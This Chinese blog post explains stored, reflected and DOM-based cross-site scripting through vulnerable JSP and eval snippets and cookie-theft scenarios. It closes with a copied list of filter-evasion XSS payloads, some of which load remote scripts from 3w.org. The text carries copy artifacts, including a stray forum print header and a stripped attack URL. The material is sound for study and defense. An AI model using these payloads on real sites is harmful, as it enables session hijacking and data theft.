天天看點

XSS Overview

什麼是XSS?

跨站腳本攻擊(Cross Site Scripting):攻擊者往Web頁面裡插入惡意腳本,當使用者浏覽該頁面時,嵌入頁面的腳本代碼會被執行,進而達到惡意攻擊使用者的特殊目的。惡意的内容通常需要以一段JavaScript的形式發送到浏覽器,但也可能包括HTML、Flash,或任何其他類型的浏覽器可以執行的代碼

XSS的危害通常包括傳輸私有資料,像cookie或session資訊;重定向受害者看到的内容;或在使用者的機器上進行惡意操作。

XSS攻擊發生的原因:

  1. 資料通過一個未信任的來源進入Web應用中,最常見的是一個web請求
  2. 資料中包含動态文本,然後發送給使用者,但是沒有校驗惡意的文本,如velocity渲染頁面

下面博文中有部分是從其他部落格中摘取,有部分是從OWASP中翻譯,最後整合在一起形成這篇部落格,如果覺得還不錯,就關注我吧。

XSS 的類型

Stored XSS(存儲型XSS)

把使用者輸入的資料(比如惡意的js代碼)存儲在伺服器端,具有很強的穩定性,危害時間長,每次使用者讀取這段資料時都會執行一次,是以受害者是很多人。

最典型的攻擊場景就是留言闆。

其攻擊過程如下:

  • Bob擁有一個Web站點,該站點允許使用者釋出資訊/浏覽已釋出的資訊。
  • Charly注意到Bob的站點具有存儲型XXS漏洞。
  • Charly釋出一個包含XSS攻擊腳本的熱點資訊,并吸引其它使用者紛紛閱讀。
  • Bob或者是任何的其他人如Alice浏覽該資訊,其會話cookies或者其它資訊将被Charly盜走。

Reflected XSS(反射型XSS)

反射攻擊是通過另一種方式攻擊受害者,比如在一封電子郵件。當使用者點選了一個惡意連結,将會送出一個特殊的表單,或者僅僅隻是浏覽惡意網站,注入的代碼将反射到攻擊使用者的浏覽器

最典型的攻擊場景就是給個惡意連結讓你去點。

其攻擊過程如下:

  • Alice經常浏覽某個網站,此網站為Bob所擁有。Bob的站點運作Alice使用使用者名/密碼進行登入,并存儲敏感資訊(比如銀行帳戶資訊)。
  • Charly發現Bob的站點包含反射性的XSS漏洞。
  • Charly編寫一個利用漏洞的URL,并将其冒充為來自Bob的郵件發送給Alice。
  • Alice在登入到Bob的站點後,浏覽Charly提供的URL。

嵌入到URL中的惡意腳本在Alice的浏覽器中執行,就像它直接來自Bob的伺服器一樣。此腳本盜竊敏感資訊(授權、信用卡、帳号資訊等)然後在Alice完全不知情的情況下将這些資訊發送到Charly的Web站點。

DOM Based XSS

這種不是按照存儲在哪裡來劃分的,可以說是反射型的一種,由于曆史原因,歸為一類,通過改變DOM結構形成的XSS稱之為DOM Based。

Example

eg.1 Reflected XSS

<% String eid = request.getParameter("eid"); %> 
    ...
    Employee ID: <%= eid %>
           

jsp頁面中,我們可能會像上面那樣寫。

最初這似乎不可能出現的漏洞,因為攻擊者不可能用來輸入一段而已的代碼然後攻擊自己的電腦,導緻惡意代碼運作在自己的電腦。但真正的危險是,攻擊者将建立惡意URL,然後使用電子郵件或社會工程學技巧來吸引受害者通路的URL連結。受害者點選連結時,無意中反映了惡意的内容通過脆弱的web應用程式回自己的電腦。這個機制稱為反射型XSS攻擊

當我登入a.com後,我發現它的頁面某些内容是根據url中的一個叫eid的參數直接顯示的。 我知道了Tom也注冊了該網站,并且知道了他的郵箱(或者其它能接收資訊的聯系方式),我做一個超連結發給他,超連結位址為:http://www.a.com?eid=,當Tom點選這個連結的時候(假設他已經登入a.com),浏覽器就會直接打開b.com,并且把Tom在a.com中的cookie資訊發送到b.com,b.com是我搭建的網站,當我的網站接收到該資訊時,我就盜取了Tom在a.com的cookie資訊,cookie資訊中可能存有登入密碼,攻擊成功!這個過程中,受害者隻有Tom自己。

eg.2 Stored XSS

<%... 
 Statement stmt = conn.createStatement();
 ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
 if (rs != null) {
  rs.next(); 
  String name = rs.getString("name");
%>

Employee Name: <%= name %>
           

這段代碼功能是顯示名字,但這并沒有阻止被利用。這段代碼相對上一種而言危險更小,因為名字是讀取資料庫的值。然而,如果名字來源于使用者提供的輸入,那麼資料庫可以為惡意内容的一個管道。沒有适當的輸入驗證資料就存儲在資料庫中,攻擊者可以在使用者的web浏覽器中執行惡意指令,也就是存儲型XSS攻擊。

a.com可以發文章,我登入後在a.com中釋出了一篇文章,文章中包含了惡意代碼,,儲存文章。這時Tom和Jack看到了我釋出的文章,當在檢視我的文章時就都中招了,他們的cookie資訊都發送到了我的伺服器上,攻擊成功

eg.3 DOM Based XSS

http://www.a.com/xss/domxss.html

頁面中代碼如下:

<script>
eval(location.hash.substr(1));
</script>
           

觸發方式為:

http://www.a.com/xss/domxss.html#alert(1)

網站是否會遭受XSS攻擊?

XSS漏洞很難被識别或從一個web應用程式删除。發現缺陷的最好方法是進行代碼的安全審查和搜尋所有從HTTP請求輸入且有可能使其輸出到頁面的代碼,并對這些代碼進行相應的處理。

注意,可以使用各種不同的HTML标記傳輸惡意JavaScript。Nessus Nikto,和其他一些可用的工具可以幫助掃描一個網站的這些缺陷,但卻隻是完成表面功夫。如果一個網站的某一部分是脆弱的,那麼極有可能還有其他問題。

防禦XSS的具體措施

将在下一篇部落格中寫出

XSS攻擊方式清單

下面的清單是網上比較流行的攻擊方案, 我摘取了部分。

我們從中可以看到多種多樣的攻擊方式,是以要防禦XSS攻擊需要考慮很多種情況。

(1)普通的XSS JavaScript注入
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(2)IMG标簽XSS使用JavaScript指令
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
(3)IMG标簽無分号無引号
<IMG SRC=javascript:alert(‘XSS’)>
(4)IMG标簽大小寫不敏感
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
(5)HTML編碼(必須有分号)
<IMG SRC=javascript:alert(“XSS”)>
(11)嵌入式标簽,将Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(12)嵌入式編碼标簽,将Javascript分開
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(13)嵌入式換行符
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(14)嵌入式回車
<IMG SRC=”jav ascript:alert(‘XSS’);”>
(15)嵌入式多行注入JavaScript,這是XSS極端的例子
<IMG SRC=”javascript:alert(‘XSS‘)”>
(23)雙開括号
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
(24)無結束腳本标記(僅火狐等浏覽器)
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
(26)半開的HTML/JavaScript XSS
<IMG SRC=”javascript:alert(‘XSS’)”
(27)雙開角括号
<iframe src=http://3w.org/XSS.html <
(28)無單引号 雙引号 分号
<SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
(29)換碼過濾的JavaScript
\”;alert(‘XSS’);//
(37)STYLE sheet
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
(38)遠端樣式表
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>
(39)List-style-image(清單式)
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
(41)META連結url
<META HTTP-EQUIV=”refresh” CONTENT=”0;
URL=http://;URL=javascript:alert(‘XSS’);”>
(42)Iframe
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
(43)Frame
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>12-7-1 T00LS - Powered by Discuz! Board
https://www.t00ls.net/viewthread.php?action=printable&tid=15267 3/6
(44)Table
<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>
(45)TD
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
(46)DIV background-image
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
(51)STYLE background-image
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A
CLASS=XSS></A>
(53)STYLE background
<STYLE><STYLE
type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>
(54)BASE
<BASE HREF=”javascript:alert(‘XSS’);//”>
(55)EMBED标簽,你可以嵌入FLASH,其中包涵XSS
<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>
(56)在flash中使用ActionScrpt可以混進你XSS的代碼
a=”get”;
b=”URL(\”";
c=”javascript:”;
d=”alert(‘XSS’);\”)”;
eval_r(a+b+c+d);
(58)如果過濾了你的JS你可以在圖檔裡添加JS代碼來利用
<SCRIPT SRC=””></SCRIPT>
(59)IMG嵌入式指令,可執行任意指令
<IMG SRC=”http://www.XXX.com/a.php?a=b”>
           

  

轉載注明出處:http://blog.bensonlin.me/post/xss-overview 或 http://www.cnblogs.com/lzb1096101803/p/5770087.html

轉載于:https://www.cnblogs.com/lzb1096101803/p/5770087.html